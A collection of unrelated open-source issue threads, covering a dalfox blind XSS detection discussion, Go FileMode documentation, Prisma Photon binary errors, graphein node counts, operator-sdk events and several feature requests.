I think repeating the same talk again, the trigger on the dalfox scan results is the result of the reflected or stored xss. Blind xss can't be identified by the tool. We don't know when, where, or how it'll trigger. If the scanner triggers the blind xss code, it's reflected or stored xss.
Now, is there your xsshunter payload in the screenshot you sent me? You don't have it, do you? Because the blind xss scanning is only sending packet. It's the role of blind xss tools(xschunter, esxss, etc..) to detect and communicate results to users.
I can make you a demo if you want. But I think we need to know exactly about blind xss. Is the blind xss that I think is different from the blind xss that you think?
finally I don't know exactly what problem you're talking about.


Fix-It+ Guids

Details
Need Guids for ZOOM in Fix-It+ organized for folks to easily transcribe!
Submitted by: Meghan Sorensen
CC in communications:
Priority: Medium (within this month)
URL: https://docs.google.com/spreadsheets/d/1Bobm9ekvmzXGJGWc3NzAuR2I8VFsA3HYcz5O9JKnsVg/edit?gid=0#gid=0
Slack message thread:

Will need to re-force ingest for any new whisper'ed records (waiting on Owen)

Added with the exception of 3 guids that have json issues


new techniques

Dear all,
Would it be possible to add following as new techniques to KG?

GPU based white matter phantom generator
Nerve fiber modelling

Best,
Sara

@UlrikeS91 I actually did not follow up. I need to see if I be able to identify the use cases in EBRAINS based on the given info.


record.EventRecorder in operator-sdk don't trigger new event incase the event is already seen earlier.

Bug Report
I'm using recorder in reconcile method like below
func newReconciler(mgr manager.Manager) reconcile.Reconciler {
        return &Reconcilememcached{client: mgr.GetClient(),recorder: mgr.GetRecorder(controllerName), scheme: mgr.GetScheme()}
}

...
...

r.recorder.Event(client, corev1.EventTypeNormal, "SuccessEvent" , "New object create successful")

Event appears for once, but if same event is triggered from code it not actually seen when i describe the CRD
kubectl describe memcached
It lists event but with older timestamp.
My usecase is I create the crd instance and a success event shoud get triggered.
Then Edit the same crd instance with additional data and the same event should get triggered. However in this case event is not triggered or the existing event is not updated with Last seen.

What did you do?
I'm trying to leverage mgr.GetClient(),recorder for event handling.
What did you expect to see?
I think the event should gets triggered everytime the update is succeful or everytime the error is same, meaning the last seen should get changed.
What did you see instead? Under which circumstances?
Old event still present but not updated with timestamp.


os: ambiguous documentation of type FileMode

What version of Go are you using (go version)?
N/A
Does this issue reproduce with the latest release?
Yes ( latest document online )
What operating system and processor architecture are you using (go env)?
N/A
What did you do?
Read documentation of the FileMode bitfields
What did you expect to see?
Either

...The values of the lowest 9 bits should be considered part of the public API...
OR
...The values of any of the 32 bits already defined in the const listing below should be considered part of the public API...

What did you see instead?

...The values of these bits should be considered part of the public API...

The documentation as currently written is clearly open to interpretation. Further discussion: https://botbot.me/freenode/go-nuts/2018-05-16/?msg=100120706&page=5

I guess the text could be read to be ambiguous.  When the comment says "these bits should be considered part of the public API" it refers to all the bits, not just the nine least-significant bits.

I guess the text could be read to be ambiguous ... it refers to all the bits, not just the nine least-significant bits.

Note that @GinjaNinja32 read the documentation exactly the opposite way, so a fix is clearly in order ;)

In context, I would interpret it to mean:
“The numeric values of the named FileMode constants should be considered part of the public API […].”

@bcmills @ianlancetaylor
The defined file mode bits are the most significant bits of the FileMode. The nine least-significant bits are the standard Unix rwxrwxrwx permissions. The numeric values of the single-bit FileMode constants should be considered part of the public API and may be used in wire protocols or disk representations: they must not be changed, although new bits might be added.
Should I raise CL with above comment?

I think we should separate the non-single-bit constants into a separate const block and adjust the comment as needed to make clear which ones can not change.
In truth changing any of the constant values would break Go 1 compatibility but it does make sense to clarify that the single-bit flags especially can't be changed.

How about

The nine least-significant bits are the standard Unix rwxrwxrwx permissions (permissions bits). Permissions bits should be considered part of the public API and may be used in wire protocols or disk representations which must not be changed, although new bits might be added.

@bcmills @ianlancetaylor this ticket is over a year old. Could we bump it a bit? Thanks!

Want to send in a pull request?

I can send a PR is we are ok with my suggestion.

Sounds reasonable, thanks.

@Windsooon if you are referring literally to the text in https://github.com/golang/go/issues/25422#issuecomment-496059067, it is insufficient to address the original reason I opened this PR. It is clear that the low 9 bits are "set in stone". The original text and also your suggested text do not answer the question:

Is there an explicit promise that the POSIX-expressing bits at positions 32 ( is directory ), 28 ( is symlink ), 27 ( is block/char device node ), 26 ( is pipe ), 25 ( is socket ), 24 ( has setuid-perm ), 23 ( has setgid-perm ), 22 ( what type of device node when bit 27 is set ), 22 ( has sticky-perm ) are guaranteed to "be correct" for all systems golang currently builds on?

( afaik golang does not work on systems without at least rudimentary POSIX-ish support )

@mib-kd743naq The os package is responsible for adjusting the underlying file information to use the exported mode bits.

The os package is responsible for adjusting the underlying file information

I gathered as much ;) I simply wanted to point out again that a fix which only discusses "the low 9 bits" is not sufficient. I haven't tried to send a PR myself as CLA's are hard :(

@bemasc @ianlancetaylor I am really confused... Based on your comments https://github.com/golang/go/issues/25422#issuecomment-389533413 and https://github.com/golang/go/issues/25422#issuecomment-389497051 all currently defined bits out of the 32 are stable and can be relied upon never changing ( specifically bits 32, 28, 27/22, 26, 25, 24, 21 )
Yet commit https://go-review.googlesource.com/c/go/+/191313/1/src/os/types.go explicitly changes the text to read:

The values of the lowest 9 bits should be considered ...

So which one is it? Any defined out of the 32, or just the lowest 9?


Feature request: Add non-changeable alt forms and gender differences

Currently trying to track my shiny living dex, but at the moment the only alternate forms pokedextracker.com tracks are G-max and regional variants. This means that I can't track, for example, the fact that I've got both Toxtricity forms shiny. Naturally, this isn't just the case with shinies, but also all alternate forms.
It makes sense that different forms of some Pokémon like Castform or Deoxys aren't tracked, as it is possible to change between them freely by various means. But it would make sense to separately track forms that can't be switched between, such as Urshifu, Lycanrock, or anything with a gender difference.
I'm sorry in advance if there's something I'm doing wrong with this post, as I literally only created a Github account to suggest this, so I don't really know how the site works.

You're totally fine! Thanks for the feedback. Merging into the main issue we have for this feature request: https://github.com/pokedextracker/pokedextracker.com/issues/256


[Mac] "Photon binary for current platform darwin could not be found" when running photon query

Hi there. Not sure if this is a similar issue to #549. I am calling this from a netlify function inside a gatsby application. Basically stuck the graphql-auth starter into a lambda function so replaced 'GraphQLServer' with 'GraphQLServerLambda' and server.start(() =>{}) with exports.handler = lambda.handler. When I navigate to http://localhost:8000/.netlify/functions/photon and input a query inside the ui I get this:
Error:
Invalid `return ctx.photon.posts.findMany()` invocation in /Users/s7au/gatsby-test/lambda/photon.js:233787:33

  233783 });
  233784 t.list.field('feed', {
  233785   type: 'Post',
  233786   resolve: (parent,[object Object], args,[object Object], ctx) => {
→ 233787     return ctx.photon.posts.findMany(

Photon binary for current platform darwin could not be found.
  Make sure to adjust the generator configuration in the schema.prisma file:
generator photon {
  provider  = "photonjs"
  platforms = ["native"]
}
  Please run prisma2 generate for your changes to take effect.
  Note, that by providing `native`, Photon automatically resolves `darwin`.
  Read more about deploying Photon: https://github.com/prisma/prisma2/blob/master/docs/core/generators/photonjs.md

If I adjust to add platforms=["native"] it changes the message to:
Photon binary for current platform darwin could not be found.
  Make sure to adjust the generator configuration in the schema.prisma file:
generator photon {
  provider  = "photonjs"
  platforms = ["native", "darwin"]
}

OS: macOS Mojave 10.14.5
npm -v: 6.11.3
prisma2 -v<EMAIL_ADDRESS>binary version: 2292f8d0c3bd11fe9cca7c6df4a10061bf58fd18

darwin is the binary for macos, this is an example of making Photon work with netlify.
This is where you can learn more about binaries and platforms: https://github.com/prisma/specs/tree/master/binaries
Please let me know if this works for you. If yes, please feel free to ask further questions or close this issue :)

Thank you managed to get it working. Trying to get it working with typescript now and it seems to be more involved what with the file sourcing but will bang my head against it some more.

Decided to reopen this issue instead of creating a new one. Please advise if this is appropriate.
I took the deployment/platform starter code and:

renamed the index.js file to index.ts
added the relevant typescript dependencies to package.json
modified the netlify.toml file to get functions from "lambda/"
added a "build:lambda": "netlify-lambda build functions" to the package.json scripts
When I try to run this time I still get the following error:

Request from ::1: GET /.netlify/functions/index
Response with status 500 in 85 ms.
◈ Error during invocation:  Error: Error in Photon:
Error: Photon binary for current platform darwin could not be found.
  Make sure to adjust the generator configuration in the schema.prisma file:
generator photon {
  provider  = "photonjs"
  platforms = ["native", "linux-glibc-libssl1.0.2", "darwin"]
}
  Please run prisma2 generate for your changes to take effect.
  Note, that by providing `native`, Photon automatically resolves `darwin`.
  Read more about deploying Photon: https://github.com/prisma/prisma2/blob/master/docs/core/generators/photonjs.md
    at NodeEngine.getPrismaPath (/Users/s7au/prisma-examples/deployment-platforms/netlify/lambda/index.js:1:136638)
    at o.<anonymous> (/Users/s7au/prisma-examples/deployment-platforms/netlify/lambda/index.js:1:2370)
    at Generator.throw (<anonymous>)
    at o (/Users/s7au/prisma-examples/deployment-platforms/netlify/lambda/index.js:1:1573)

Is this a bug or am I doing something incorrectly?

Create a new one please - much easier to keep stuff independent. Thanks.

Moved new question two #625


Prapors inventory missing through search function.

General information
Project issue is for:
BE 3.10
Expected result:
see Prapors inventory when searching/link searching
Actual result:
entire inventory missing.
after a PMC raid, Prapors inventory showed in search again. unable to replicate the items coming back but have screenshots.
How to reproduce

link/search

Log files
Profile
You can optionally include your game profile if you think it would help us reproduce the error easily
The profile id can be found in the top left of the launcher.
Screenshost

Attachments

2024-09-02[20-00] (0).png (2266 KiB)
server-2024-09-02.log (340 KiB)
LogOutput.log (7 KiB)
2024.09.03_3-14-05_<IP_ADDRESS>.32291 traces.log (51 KiB)

Originally written by LaddyDongLegs

Lacy cofirmed with the mentioned fix, it doesnt show prapor still, so this still needs looking at

Originally written by CWX

https://dev.sp-tarkov.com/SPT/Server/pulls/406 will fix this, chomp to check and merge

Originally written by CWX


Number of nodes and shape of node coordinates differ by 1

Hi @a-r-j
I've been observing that some times the number of nodes generated by the library differs to the coordinate data generated by it by exactly 1 node. Do you know why this happens. Following is an example code
configs = {
        "granularity": "CA",
        "keep_hets": False,
        "insertions": False,
        "verbose": False,
        "dssp_config": DSSPConfig(),
        "node_metadata_functions": [meiler_embedding,expasy_protein_scale],
        "edge_construction_functions": [add_peptide_bonds,
                                                  add_hydrogen_bond_interactions,
                                                  add_ionic_interactions,
                                                  add_aromatic_sulphur_interactions,
                                                  add_hydrophobic_interactions,
                                                  add_cation_pi_interactions]
        }
config = ProteinGraphConfig(**configs)
format_convertor = GraphFormatConvertor('nx', 'pyg',
                                            verbose = 'gnn',
                                            columns = None)
g = construct_graph(config=config, pdb_code='1c5y')
protdata = format_convertor(g)
print(protdata)

protdata.num_nodes == 256 ; protdata.coords[0].shape==257
Shouldn't these 2 be the same? What am I missing?
Thank you!

Yep, you're right @diamondspark . There was a bug in how inserted residues are removed from the dataframe. I've pushed a fix to a pending PR. Need to write some tests but hope to get this merged in soon!
There should actually be 238 nodes in the graph as we remove the inserted residues.

Thank you for looking into this. How to get the updated code. I did pip install graphein --upgrade. That didn't change the code in protein/graphs.py

Hi, @diamondspark. I'm working on this. It's a tricky problem resulting from insertions and alt_locs in the PDB files. These aren't always consinstently represented in the file so it's hard to come up with a robust way that catches all the corner cases.
While I'm figuring it out you can try pre-processing the PDBs with the excellent PDB Tools.

Hi @diamondspark I believe this is resolved in 1.1.1 - try it out & do let me know if not!


Add cryptopp

I'm interested in cryptopp

Here is official site of package https://cryptopp.com/

This package is using [Git]: https://github.com/weidai11/cryptopp

Used build system: GNUmakefile

I have no information about dependencies

Already here: https://docs.hunter.sh/en/latest/packages/pkg/cryptopp.html


Create a provider for generating random UUID

Thanks for the contribution!
I addressed my comment above, and made some formatting changes to bring it inline with the rest of the project.  But otherwise this was perfect!

Thanks @philsttr !
Small question, do you have any schedule when you release next version to maven central?

Probably over the next couple weeks.  I hope to address a couple more PRs / issues before the next release.

4.10 released with this change


Port polymer 2.0 to dart?

There are plans to migrate polymer 2.0 to dart?

May want to ask in the Polymer Dart repo

The Polymer team has no plans to port Polymer 2.0 to Dart.


Add sugar for dereferencing

happened to write a heavily mutable code and using .contents everywhere was a pain.
a sugar like ml's ^ makes reading and writing mutable code with refs much easier

Not sure I understand correctly.
If you mean ! in OCaml for dereferencing of ref, deref and mutate functions are needed in the syntax layer.
let foo = ref("")
let deref = x => x.contents // `!` in OCaml
let mutate = (ref, value) => ref.contents = value // `:=` in OCaml
let bar = ^foo // deref(foo)
let baz = foo := "!" // mutate(foo, "!")
// `^` and `:=` are just examples.

yes.
:= is available today